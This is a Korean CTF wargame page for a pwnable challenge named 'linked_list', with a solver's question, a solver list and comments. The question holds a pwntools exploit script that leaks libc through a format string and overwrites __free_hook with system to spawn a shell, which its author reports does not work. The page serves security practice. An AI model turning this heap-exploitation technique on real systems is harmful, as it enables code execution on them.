LEVEL 5

linked_list

pwnable
  • 문제 정보
  • 풀이 45
  • 난이도 투표 25
  • 질문 6
  • 최근 풀이자 114
  • 댓글 19

문제 설명

이제 막 자료구조를 배운 드림이는 단일 linked list로 사람의 개인정보를 저장하는 프로그램을 만들었어요. 그리고 자랑을 하고싶어서 자신이 만든 프로그램을 서버에서 돌려서 누구나 사용해볼 수 있도록 했습니다. 그런데 코드에 오타가 있네요...? 드림이는 아직 오타가 난줄 모르고 있습니다. 드림이가 알아채기 전에 취약점을 찾고 flag를 읽으세요.

난이도 투표 25

질문 6

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
풀이 도중 생긴 의문점
푸는 도중에 도저히 이해가 안되는 부분이 있습니다. image.png 이렇게 __free_hook 주소에다가 system 함수를 집어넣고, free시킬 object_number에 binsh 주소를 넣은 뒤에 free를 시켜봤는데 image.png 쉘이 실행되지 않고 그냥 정상적으로 free가 되는 것을 확인했습니다. 제 생각으로는 system 함수가 실행되어야 할 것 같은데 왜 안되는 건지 모르겠습니다. 아래는 제가 시도했던 코드입니다. from pwn import * p = process('./linked_list') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(object_number): p.sendlineafter(': ', '1') p.sendlineafter(': ', str(object_number)) for a in range(3): p.sendlineafter(': ', '1') def delete(object_number): p.sendlineafter(': ', '2') p.sendlineafter(': ', str(object_number)) def show(object_number): p.sendlineafter(': ', '3') p.sendlineafter(': ', str(object_number)) def edit(object_number, new_object_number, payload): p.sendlineafter(': ', '4') p.sendlineafter(': ', str(object_number)) p.sendlineafter(': ', str(new_object_number)) for a in range(2): p.sendlineafter(': ', str(0)) p.sendlineafter(': ', payload) #Leak libc_base & free_hook p.sendlineafter(': ', '%3$p') libc_base = int(p.recvn(14).decode(), 16) - 0x1036dd free_hook = libc_base + libc.symbols['__free_hook'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + 0x1a7e43 add(1) add(2) edit(1, 1, b'b'*0x100 + p64(free_hook)) edit(0, system, str(2)) add(bin_sh) p.interactive() 도와주세요..ㅠㅠ
avatar Garden_
LEVEL 5

linked_list

pwnable

출제자 정보

avatar
Sechack
2024 Invitational Contenders

First Blood!

avatar
st4rlight
꿈나무
출제된 지 2시간 만에 풀이 완료!

최근 풀이자 114

avatar
HiuHiuNek
대표 업적 없음
avatar
haehet
질문러
yrudwls
대표 업적 없음
avatar
TheFlash2k
대표 업적 없음
c0met
.HACK 2025 참가자
avatar
baldowl
대표 업적 없음
avatar
kuvee
대표 업적 없음
avatar
millet
프레시맨
Q.E.D.
워게임: 20
kwakmu18
시스템 해킹 전문가

댓글 19

avatar
haehet
질문러
라이브러리 버전 찾는 게 가장 어려운 문제..
avatar
Garden_
시스템 해킹 입문
libc 찾기는 너무 어려워
avatar
z3rodae0
시니어
Confused
avatar
연어초밥
공부벌레
내 일주일...
avatar
Sandersonia
대표 업적 없음
잡았다 오타!
avatar
ssongk
2024 Invitational Contenders
funny
avatar
wyv3rn
무플 방지 위원회장
로되리안, 버전 맞추기 노가다 등 삽질 할 수 있는건 다 해본듯... 아오...
avatar
msh1307
대표 업적 없음
avatar
바나나김치
워게임 고인물
로...로되리안....?
조르거이
워게임 고인물
굿